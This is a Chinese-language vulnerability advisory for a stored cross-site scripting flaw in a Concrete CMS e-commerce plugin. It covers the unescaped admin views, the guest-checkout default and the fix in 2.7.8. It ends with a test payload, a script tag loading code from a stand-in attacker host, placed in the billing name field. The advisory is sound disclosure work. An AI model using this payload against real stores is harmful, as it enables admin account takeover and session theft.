| CVE | CVE-2026-93659 |
| 组件 | concretecms-community-store/community_store |
| 类型 | 存储型跨站脚本(CWE-79) |
| 严重性 | CVSS v4.0 9.3 严重 / v3.1 8.7 高危 |
| 受影响版本 | 2.7.8 之前的所有版本 |
| 修复版本 | 2.7.8 |
| 致谢 | Prince Edem Fiagbedzi(发现者) |
Community Store 是 Concrete CMS 的一款开源电子商务插件,它将客户提供的订单字段未经净化地存储,并在四个面向管理员的视图中渲染时未进行 HTML 转义。任何未认证的访客都可以在账单名字等字段中放置脚本载荷来下单,而该载荷会在商店管理员下次打开该订单时,在其已认证的仪表盘会话中执行,足以创建一个恶意管理员账户或窃取会话数据。
每个订单都包含客户提供的字段:账单/配送名字、姓氏、电子邮件和电话。这些字段按原样存储,并在商店管理员经常查看的四个位置原样渲染:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)关键在于,下单无需任何账户。Community Store 的访客结账设置默认为 always,这是由该包自身的安装程序在每次全新安装时设置的,而非商店运营者需要主动选择的选项。因此,这不是一个需要商店配置错误的漏洞;它针对的是默认的、开箱即用的安装即可被利用,无需任何凭据。
将 Community Store 更新至 2.7.8 或更高版本。该修复为所有四个受影响的渲染位置添加了正确的输出转义。除了升级之外,没有配置层面的变通方法,因为存在漏洞的行为正是转义本身,而非某个开关。
四个渲染位置均未对客户可控字段进行转义。以下是管理员订单视图中的一行代表性代码:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
附近没有任何 h() 调用——Concrete 的标准输出转义辅助函数,尽管同一文件在几行之外对其他值正确使用了 h()。输入验证也好不到哪里去:应用于这些字段的唯一检查是长度限制(1-255 个字符),没有任何剥离或拒绝 HTML 的处理。
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
账单名字字段中一个少于 255 个字符的 <script> 载荷会原封不动地通过验证,被存储下来,之后在管理员查看该订单的任何位置以未转义的形式渲染。
访客结账默认值直接在安装程序中设置:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
结账控制器仅在该设置为 off(或 option 且无访客标志)时才强制登录,而在安装默认值下,该分支永远不会触发。
在 Concrete CMS 9.5.2 上的 Community Store v2.7.7 中测试(自托管 Docker 实验环境,PHP 8.3)。载荷作为普通访客结账提交,无需任何形式的认证:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>